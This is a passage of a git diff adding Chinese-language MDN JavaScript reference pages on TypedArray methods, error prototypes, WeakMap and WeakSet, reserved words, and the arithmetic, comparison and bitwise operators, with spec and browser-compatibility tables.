+
接受一个函数作为累加器(accumulator),让每个值(从右到左,亦即从尾到头)缩减为一个值.(与 reduce() 的执行方向相反). 参见{{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.prototype.reverse()")}}
+
颠倒数组中元素的位置。第一个元素会成为最后一个,最后一个会成为第一个. 参见 {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.prototype.set()")}}
+
读取一个指定数组中的元素保存到格式化数组中.
+
{{jsxref("TypedArray.prototype.slice()")}}
+
浅复制(shallow copy)数组的一部分到一个新的数组,并返回这个新数组. 参见 {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.prototype.some()")}}
+
数组中只要有一个元素满足提供的测试函数的测试就返回true,否则返回false. 参见 {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.prototype.sort()")}}
+
对数组进行排序,并返回原数组(是改变原数组). 参见 {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.prototype.subarray()")}}
+
返回给定的起始和结束索引之间的元素组成的新的类型化数组.
+
{{jsxref("TypedArray.prototype.values()")}}
+
返回有数组中的元素组成的新的数组迭代对象. 参见 {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.prototype.toLocaleString()")}}
+
返回一个将数组中的每个元素本地化后组成的字符串. 参见 {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.prototype.toString()")}}
+
返回一个由数组中的每个元素字符串化后组成的字符串. 参见 {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
+
返回一个包含数组中每个元素的新的数组迭代对象.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7.0{{ CompatGeckoDesktop("2") }}1011.65.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{CompatVersionUnknown}}{{ CompatGeckoMobile("2") }}1011.64.2
+
+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html new file mode 100644 index 0000000000..42abf0c422 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html @@ -0,0 +1,94 @@ +--- +title: TypeError.prototype +slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +tags: + - Error + - JavaScript + - TypeError + - 原型 + - 错误 +translation_of: Web/JavaScript/Reference/Global_Objects/TypeError +translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +--- +
{{JSRef}}
+ +

TypeError.prototype 属性表示 {{jsxref("TypeError")}}构造函数的原型。

+ +

 

+ +

描述

+ +

所有{{jsxref("TypeError")}}实例都继承自TypeError.prototype。您可以使用原型向所有实例添加属性或方法

+ +

 

+ +

属性

+ +
+
TypeError.prototype.constructor
+
声明创建实例原型 (prototype) 的方法。
+
{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}
+
错误信息。虽然 ECMA-262 规范指出 {{jsxref("TypeError")}} 应该实现其自身的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}。
+
{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}
+
错误名称。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}
+
引起该错误的代码所在文件的路径。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}
+
引起错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}
+
引起错误的代码所在列的列号。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}
+
堆栈跟踪记录。 继承自 {{jsxref("Error")}}。
+
+ +

方法

+ +

尽管 {{jsxref("TypeError")}} 不包含任何自己的方法, 但{{jsxref("TypeError")}}的实例通过原型链继承了一些方法。

+ +

 

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为 NativeError.prototype.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.TypeError")}}

+ +
 
+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html new file mode 100644 index 0000000000..c5d381250a --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html @@ -0,0 +1,83 @@ +--- +title: URIError.prototype +slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/URIError +translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype +--- +
{{JSRef}}
+ +
URIError.prototype 属性表示 {{jsxref("URIError")}} 构造器的原型。
+ +

描述

+ +

所有的 {{jsxref("URIError")}} 实例都继承自 URIError.prototype。 可以通过原型(prototype) 给所有的实例添加属性或者方法。

+ +

属性

+ +
+
URIError.prototype.constructor
+
声明创建实例原型 (prototype) 的方法。
+
{{jsxref("Error.prototype.message", "URIError.prototype.message")}}
+
错误信息。虽然 ECMA-262 规范指出 {{jsxref("URIError")}} 应该提供其自己专属的 message 属性,但是在 SpiderMonkey 中,该属性继承自 {{jsxref("Error.prototype.message")}}
+
{{jsxref("Error.prototype.name", "URIError.prototype.name")}}
+
错误名称。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}
+
产生该错误的代码所在文件的路径。 继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}
+
产生该错误的代码所在行的行号。继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}
+
产生该错误的代码所在列的列号。 继承自 {{jsxref("Error")}}。
+
{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}
+
堆栈记录。继承自 {{jsxref("Error")}}。
+
+ +

方法

+ +

虽然 {{jsxref("URIError")}} 的原型对象自身不包含任何方法,但是 {{jsxref("URIError")}} 的实例通过原型链(prototype chain)继承了一些方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}} 初始定义
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}} 定义为 NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}} 定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}} 定义为NativeError.prototype.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.URIError")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html new file mode 100644 index 0000000000..27f1ff412a --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -0,0 +1,138 @@ +--- +title: WeakMap.prototype +slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap +translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +--- +
{{JSRef}}
+ +

WeakMap.prototype属性表现为 {{jsxref("WeakMap")}}的构造器。

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

{{jsxref("WeakMap")}} 实例从 {{jsxref("WeakMap.prototype")}}继承了所有属性。你可以在WeakMap构造器中添加属性和方法,从而使得所有实例中都有效。

+ +

WeakMap.prototype 本身只是一个普通的对象:

+ +
Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
+ +

属性

+ +
+
WeakMap.prototype.constructor
+
返回创建WeakMap实例的原型函数。 {{jsxref("WeakMap")}}函数是默认的。
+
+ +

方法

+ +
+
{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}
+
移除key的关联对象。执行后 WeakMap.prototype.has(key)返回false。
+
{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}
+
返回key关联对象, 或者 undefined(没有key关联对象时)。
+
{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}
+
根据是否有key关联对象返回一个Boolean值。
+
{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}
+
在WeakMap中设置一组key关联对象,返回这个 WeakMap对象。
+
{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
+
WeakMap中移除所有的 key/value 。 注意,该方法已弃用,但可以通过创建一个空的WeakMap并替换原对象来实现 (参看 {{jsxref("WeakMap")}}的后半部分)
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support36{{CompatGeckoDesktop("6.0")}}11237.1
Ordinary object{{CompatUnknown}}{{CompatGeckoDesktop("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("6.0")}}{{CompatNo}}{{CompatNo}}8
Ordinary object{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("40")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另请参阅

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html new file mode 100644 index 0000000000..572ab1ac73 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html @@ -0,0 +1,115 @@ +--- +title: WeakSet.prototype +slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet +translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +--- +
{{JSRef("Global_Objects", "WeakSet")}}
+ +

Summary

+ +

The WeakSet.prototype property represents the prototype for the {{jsxref("WeakSet")}} constructor.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

{{jsxref("WeakSet")}} instances inherit from {{jsxref("WeakSet.prototype")}}. You can use the constructor's prototype object to add properties or methods to all WeakSet instances.

+ +

Properties

+ +
+
WeakSet.prototype.constructor
+
返回构造函数即 {{jsxref("WeakSet")}} 本身.
+
+ +

Methods

+ +
+
{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}
+
 在该 WeakSet 对象中添加一个新元素 value.
+
{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}
+
该 WeakSet 对象中删除 value 这个元素, 之后 WeakSet.prototype.has(value) 方法便会返回 false.
+
{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}
+
返回一个布尔值,  表示给定的值 value 是否存在于这个 WeakSet 中.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}{{Spec2('ES6')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }} {{bug(792439)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Chrome-specific notes

+ + + +

See also

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html new file mode 100644 index 0000000000..0d52110bfa --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html @@ -0,0 +1,82 @@ +--- +title: Reserved Words +slug: Web/JavaScript/Reference/Reserved_words +translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords +translation_of_original: Web/JavaScript/Reference/Reserved_Words +--- +

 

+ +

以下这些是ECMAScript规范已经规定的关键字,不能用作变量、函数名、过程、和对象名:

+ + + +

以下是ECMAScript规定的保留字:

+ + + +

请注意,虽然ECMA-262还没有正式规定,但是在Mozilla中const,export和import已经被作为保留字对待。

+ + + +

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}

diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html new file mode 100644 index 0000000000..917ac03b06 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html @@ -0,0 +1,302 @@ +--- +title: 算术运算符 +slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators +--- +
{{jsSidebar("Operators")}}
+ +

算术运算符以数值(字面量或变量)作为其操作数,并返回一个单个数值。标准算术运算符是加法(+),减法(-),乘法(*)和除法(/)。

+ +
{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}
+ + + +

加法 (+)

+ +

加法运算符的作用是数值求和,或者字符串拼接。

+ +

语法

+ +
运算符: x + y
+
+ +

示例

+ +
// Number + Number -> 数字相加
+1 + 2 // 3
+
+// Boolean + Number -> 数字相加
+true + 1 // 2
+
+// Boolean + Boolean -> 数字相加
+false + false // 0
+
+// Number + String -> 字符串连接
+5 + "foo" // "5foo"
+
+// String + Boolean -> 字符串连接
+"foo" + false // "foofalse"
+
+// String + String -> 字符串连接
+"foo" + "bar" // "foobar"
+
+ +

减法 (-)

+ +

减法运算符使两个操作数相减,结果是它们的差值。

+ +

语法

+ +
运算符: x - y
+
+ +

示例

+ +
5 - 3 // 2
+3 - 5 // -2
+"foo" - 3 // NaN
+ +

除法 (/)

+ +

除法运算符的结果是操作数的商 ,左操作数是被除数,右操作数是除数。

+ +

语法

+ +
运算符: x / y
+
+ +

示例

+ +
1 / 2      // 在 JavaScript 中返回 0.5
+1 / 2      // 在 Java 中返回 0
+// (不需要数字是明确的浮点数)
+
+1.0 / 2.0  // 在 JavaScript 或 Java 中都返回 0.5
+
+2.0 / 0    // 在 JavaScript 中返回 Infinity
+2.0 / 0.0  // 同样返回 Infinity
+2.0 / -0.0 // 在 JavaScript 中返回 -Infinity
+ +

乘法 (*)

+ +

乘法运算符的结果是操作数的乘积。

+ +

语法

+ +
运算符: x * y
+
+ +

示例

+ +
2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN
+
+ +

求余 (%)

+ +

求余运算符返回第一个操作数对第二个操作数的模,即 var1 对 var2 取模,其中 var1 和 var2 是变量。取模功能就是 var1 除以 var2 的整型余数。

+ +

语法

+ +
运算符: var1 % var2
+
+ +

示例

+ +
12 % 5 // 2
+-1 % 2 // -1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+5.5 % 2 // 1.5
+
+ +

幂 (**)

+ +

幂运算符返回第一个操作数做底数,第二个操作数做指数的乘方。即,var1var2,其中 var1var2 是其两个操作数。幂运算符是右结合的。a ** b ** c 等同于 a ** (b ** c)

+ +

语法

+ +
运算符: var1 ** var2
+
+ +

注解

+ +

包括 PHP 或 Python 等的大多数语言中,都包含幂运算符(一般来说符号是 ^ 或者 **)。这些语言中的幂运算符有着比其他的单目运算符(如一元 + 或一元 - )更高的优先级。但是作为例外,在 Bash 中,**  运算符被设计为比单目运算符优先级更低。在最新的 JavaScript(ES2016) 中,禁止使用带歧义的幂运算表达式。比如,底数前不能紧跟一元运算符(+/-/~/!/delete/void/typeof)。

+ +
-2 ** 2;
+// 在 Bash 中等于 4 ,而在其他语言中一般等于 -4
+// 在 JavaScript 中是错误的,因为这会有歧义
+
+-(2 ** 2);
+// -4 在 JavaScript 中能够明显体现出作者的意图
+ +

示例

+ +
2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64
+
+ +

如果要反转求幂表达式结果的符号,你可以采用这样的方式:

+ +
-(2 ** 2) // -4
+ +

强制求幂表达式的基数为负数:

+ +
(-2) ** 2 // 4
+ +

递增 (++)

+ +

递增运算符为其操作数增加1,返回一个数值。

+ + + +

语法

+ +
运算符: x++ 或者 ++x
+
+ +

示例

+ +
// 后置
+var x = 3;
+y = x++;
+// y = 3, x = 4
+
+// 前置
+var a = 2;
+b = ++a;
+// a = 3, b = 3
+
+ +

递减 (--)

+ +

递减运算符将其操作数减去1,并返回一个数值。

+ + + +

语法

+ +
运算符: x-- or --x
+
+ +

示例

+ +
// 后置
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// 前置
+var a = 2;
+b = --a; // a = 1, b = 1
+
+ +

一元负号 (-)

+ +

一元负号运算符位于操作数前面,并转换操作数的符号。

+ +

语法

+ +
运算符: -x
+
+ +

示例

+ +
var x = 3;
+y = -x; // y = -3, x = 3
+
+ +

一元正号 (+)

+ +

一元正号运算符位于其操作数前面,计算其操作数的数值,如果操作数不是一个数值,会尝试将其转换成一个数值。 尽管一元负号也能转换非数值类型,但是一元正号是转换其他对象到数值的最快方法,也是最推荐的做法,因为它不会对数值执行任何多余操作。它可以将字符串转换成整数和浮点数形式,也可以转换非字符串值 truefalse  null。小数和十六进制格式字符串也可以转换成数值。负数形式字符串也可以转换成数值(对于十六进制不适用)。如果它不能解析一个值,则计算结果为 NaN

+ +

语法

+ +
运算符: +x
+
+ +

示例

+ +
+3     // 3
++"3"   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){ return val;} //NaN
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.3')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2015', '#sec-postfix-expressions')}}{{Spec2('ES2015')}}Defined in several sections of the specification: Additive operators, Multiplicative operators, Postfix expressions, Unary operators.
{{SpecName('ES2016', '#sec-postfix-expressions')}}{{Spec2('ES2016')}}Added Exponentiation operator.
{{SpecName('ES2017', '#sec-postfix-expressions')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-additive-operators')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.arithmetic")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html new file mode 100644 index 0000000000..5ddf85f426 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html @@ -0,0 +1,278 @@ +--- +title: 比较操作符 +slug: Web/JavaScript/Reference/Operators/Comparison_Operators +tags: + - 严格比较操作符 + - 比较操作符 +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators +--- +
{{jsSidebar("Operators")}}
+ +

JavaScript 有两种比较方式:严格比较运算符和转换类型比较运算符。对于严格比较运算符(===)来说,仅当两个操作数的类型相同且值相等为 true,而对于被广泛使用的比较运算符(==)来说,会在进行比较之前,将两个操作数转换成相同的类型。对于关系运算符(比如 <=)来说,会先将操作数转为原始值,使它们类型相同,再进行比较运算。

+ +

字符串比较则是使用基于标准字典的 Unicode 值来进行比较的。

+ +

比较的特点:

+ + + +

相等运算符

+ +

相等(==)

+ +

比较操作符会为两个不同类型的操作数转换类型,然后进行严格比较。当两个操作数都是对象时,JavaScript会比较其内部引用,当且仅当他们的引用指向内存中的相同对象(区域)时才相等,即他们在栈内存中的引用地址相同。

+ +

语法

+ +
x == y
+
+ +

例子

+ +
 1   ==  1     // true
+"1"  ==  1     // true
+ 1   == '1'    // true
+ 0   == false  // true
+
+ +

不相等 (!=)

+ +

不等操作符仅当操作数不相等时返回true,如果两操作数不是同一类型,JavaScript会尝试将其转为一个合适的类型,然后进行比较。如果两操作数为对象类型,JavaScript会比较其内部引用地址,仅当他们在内存中引用不同对象时不相等。

+ +

语法

+ +
x != y
+ +

例子

+ +
1 !=   2     // true
+1 !=  "1"    // false
+1 !=  '1'    // false
+1 !=  true   // false
+0 !=  false  // false
+
+ +

一致/严格相等 (===)

+ +

一致运算符不会进行类型转换,仅当操作数严格相等时返回true

+ +

语法

+ +
x === y
+ +

例子

+ +
3 === 3   // true
+3 === '3' // false
+var object1 = {"value":"key"}, object2={"value":"key"};
+object1 === object2 //false
+ +

不一致/严格不相等 (!==)

+ +

不一致运算符当操作数不相等或不同类型时返回true

+ +

语法

+ +
x !== y
+ +

例子

+ +
3 !== '3' // true
+4 !== 3   // true
+
+ +

关系运算符

+ +

大于运算符 (>)

+ +

大于运算符仅当左操作数大于右操作数时返回true

+ +

语法

+ +
x > y
+ +

例子

+ +
4 > 3 // true
+
+ +

大于等于运算符 (>=)

+ +

大于等于运算符当左操作数大于或等于右操作数时返回true

+ +

语法

+ +
 x >= y
+ +

例子

+ +
4 >= 3 // true
+3 >= 3 // true
+
+ +

小于运算符 (<)

+ +

小于运算符仅当左操作数小于右操作数时返回true

+ +

语法

+ +
 x < y
+ +

例子

+ +
3 < 4 // true
+
+ +

小于等于运算符 (<=)

+ +

小于等于运算符当左操作数小于或等于右操作数时返回true

+ +

语法

+ +
 x <= y
+ +

例子

+ +
3 <= 4 // true
+
+ +

使用比较操作符

+ +

标准相等操作符(== and !=) 使用 Abstract Equality Comparison Algorithm 去比较两个操作数。当两个操作数类型不相等时,会在比较前尝试将其转换为相同类型。 e.g., 对于表达式 5 == '5', 在比较前会先将右边字符串类型的操作数 5 转换为数字。

+ +

严格相等操作符 (=== and !==) 使用 Strict Equality Comparison Algorithm 并尝试对两个相同操作数进行相等比较,如果它们的类型不相等,那么永远会返回false 所以 5 !== '5'。

+ +

当需要明确操作数的类型和值的时候,或者操作数的确切类型非常重要时,应使用严格相等操作符。否则,当你允许操作数在比较前进行类型转换时,可以使用标准相等操作符来比较。

+ +

当比较运算涉及类型转换时 (i.e., non–strict comparison), JavaScript 会按以下规则对字符串,数字,布尔或对象类型的操作数进行操作:

+ + + +
注意: 字符串对象的类型是对象,不是字符串!字符串对象很少被使用,所以下面的结果也许会让你惊讶:
+ +
// true as both operands are Type String (i.e. string primitives):
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// false as a and b are Type Object and reference different objects
+a == b
+
+// false as a and b are Type Object and reference different objects
+a === b
+
+// true as a and 'foo' are of different type and, the Object (a)
+// is converted to String 'foo' before comparison
+a == 'foo' 
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0
ECMAScript 3rd Edition.StandardAdds === and !== operators. Implemented in JavaScript 1.3
{{SpecName('ES5.1', '#sec-11.8', 'Relational Operators')}}
+ {{SpecName('ES5.1', '#sec-11.9', 'Equality Operators')}}
{{Spec2('ES5.1')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}
+ {{SpecName('ES6', '#sec-equality-operators', 'Equality Operators')}}
{{Spec2('ES6')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ESDraft', '#sec-relational-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html new file mode 100644 index 0000000000..4bdd7a1bc7 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html @@ -0,0 +1,756 @@ +--- +title: 按位操作符 +slug: Web/JavaScript/Reference/Operators/Bitwise_Operators +tags: + - js ^ & Bitwise Operators +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators +--- +
{{jsSidebar("Operators")}}
+ +

概述

+ +

按位操作符(Bitwise operators) 将其操作数(operands)当作32位的比特序列(由0和1组成),而不是十进制、十六进制或八进制数值。例如,十进制数9,用二进制表示则为1001。按位操作符操作数字的二进制形式,但是返回值依然是标准的JavaScript数值。

+ +

下面的表格总结了JavaScript中的按位操作符:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
运算符用法描述
按位与( AND)a & b对于每一个比特位,只有两个操作数相应的比特位都是1时,结果才为1,否则为0。
按位或(OR)a | b对于每一个比特位,当两个操作数相应的比特位至少有一个1时,结果为1,否则为0。
按位异或(XOR)a ^ b对于每一个比特位,当两个操作数相应的比特位有且只有一个1时,结果为1,否则为0。
按位非(NOT)~ a反转操作数的比特位,即0变成1,1变成0。
左移(Left shift)a << b将 a 的二进制形式向左移 b (< 32) 比特位,右边用0填充。
有符号右移a >> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位。
无符号右移a >>> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位,并使用 0 在左侧填充。
+ +

有符号32位整数

+ +

所有的按位操作符的操作数都会被转成补码(two's complement)形式的有符号32位整数。补码形式是指一个数的负对应值(negative counterpart)(如 5和-5)为数值的所有比特位反转后,再加1。反转比特位即该数值进行’非‘位运算,也即该数值的反码。例如下面为整数314的二进制编码:

+ +
00000000000000000000000100111010
+
+ +

下面编码 ~314,即 314 的反码:

+ +
11111111111111111111111011000101
+
+ +

最后,下面编码 -314,即 314 的反码再加1:

+ +
11111111111111111111111011000110
+
+ +

补码保证了当一个数是正数时,其最左的比特位是0,当一个数是负数时,其最左的比特位是1。因此,最左边的比特位被称为符号位(sign bit)。

+ +

0 是所有比特数字0组成的整数。

+ +
0 (base 10) = 00000000000000000000000000000000 (base 2)
+
+ +

-1 是所有比特数字1组成的整数。

+ +
-1 (base 10) = 11111111111111111111111111111111 (base 2)
+
+ +

-2147483648(十六进制形式:-0x80000000)是除了最左边为1外,其他比特位都为0的整数。

+ +
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+
+ +

2147483647(十六进制形式:0x7fffffff)是除了最左边为0外,其他比特位都为1的整数。

+ +
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+
+ +

数字-21474836482147483647 是32位有符号数字所能表示的最小和最大整数。

+ +

按位逻辑操作符

+ +

从概念上讲,按位逻辑操作符按遵守下面规则:

+ + + +

& (按位与)

+ +

对每对比特位执行与(AND)操作。只有 a 和 b 都是 1 时,a AND b 才是 1。与操作的真值表如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba AND b
000
010
100
111
+ +
